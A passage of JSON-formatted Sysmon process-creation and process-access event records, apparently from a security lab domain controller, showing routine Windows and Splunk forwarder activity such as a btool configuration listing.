11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00101A090500}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00101A090500}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.574\r\nProcessGuid: {90617006-407A-5F2D-0000-0010D1090500}\r\nProcessId: 1512\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407A-5F2D-0000-00101A090500}\r\nParentProcessId: 5032\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.574","ProcessGuid":"{90617006-407A-5F2D-0000-0010D1090500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407A-5F2D-0000-00101A090500}","ParentProcessId":"5032","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-407A-5F2D-0000-00101A090500}\r\nSourceProcessId: 5032\r\nSourceThreadId: 5036\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010D1090500}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-407A-5F2D-0000-00101A090500}","SourceProcessId":"5032","SourceThreadId":"5036","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010D1090500}","TargetProcessId":"1512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010D1090500}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010D1090500}","TargetProcessId":"1512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 